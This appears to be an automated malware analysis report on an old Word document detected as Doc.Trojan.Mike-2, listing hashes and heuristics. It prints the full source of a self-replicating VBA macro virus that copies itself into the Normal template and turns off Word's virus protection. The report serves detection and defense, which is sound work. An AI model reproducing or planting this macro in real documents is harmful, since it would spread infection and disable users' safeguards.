Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a1e76f4286b4c3c0…

MALICIOUS

Office (OLE)

34.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 519ad70c63862395b9ab4dd6b085b439 SHA-1: 2d4d13272ec8121d9d8c7863036a05b358a6b4c9 SHA-256: a1e76f4286b4c3c0b465e2eafa1866bd44e5050dbafe6d3d740abfd3db0ff041
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The AutoOpen macro attempts to copy itself to both the active document and the Normal template, suggesting an intent to establish persistence or facilitate further malicious activity. The ClamAV detection 'Doc.Trojan.Mike-2' further supports its malicious nature, though a specific family could not be confidently identified.

Heuristics 4

  • ClamAV: Doc.Trojan.Mike-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mike-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1760 bytes
SHA-256: afa259d3d582957e113c79572e0cac12b9b759fecd00466edca795c9953addf6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Mike"

Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro created 03/22/97 by Michael John G. Lopez"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.Mike.AutoOpen"
Call JollyWanderer
End Sub

Sub JollyWanderer()
CheckMe = 0
For I = 1 To WordBasic.[countmacros](0)
If WordBasic.[macroname$](I, 0) = "Mike" Then CheckMe = 1
Next I

If CheckMe = 1 Then GoTo CheckDoc

On Error Resume Next
Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "Mike", wdOrganizerObjectProjectItems

CheckDoc:
CheckMe = 0
For I = 1 To WordBasic.[countmacros](1)
If WordBasic.[macroname$](I, 1) = "Mike" Then CheckMe = 1
Next I

If CheckMe = 1 Then GoTo CheckTrigger

On Error Resume Next
Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "Mike", wdOrganizerObjectProjectItems
ActiveDocument.Save

CheckTrigger:

If Day(Now()) = 16 And Month(Now()) = 6 Then
    MsgBox "Happy Birthday Ming...", , "Jolly Wanderer"
End If

If Day(Now()) = 18 And Month(Now()) = 3 Then
    MsgBox "Happy Birthday Dee...", , "Jolly Wanderer"
End If

If Day(Now()) = 25 And Month(Now()) = 12 Then
    MsgBox "It's Christmas.  Quit Working and ENJOY!", , "Jolly Wanderer"
End If

Options.VirusProtection = False
End Sub
Sub FileSave()
Attribute FileSave.VB_Description = "Macro created 03/31/99 by Michael John G. Lopez"
Attribute FileSave.VB_ProcData.VB_Invoke_Func = "Normal.Mike.FileSave"
Call JollyWanderer
End Sub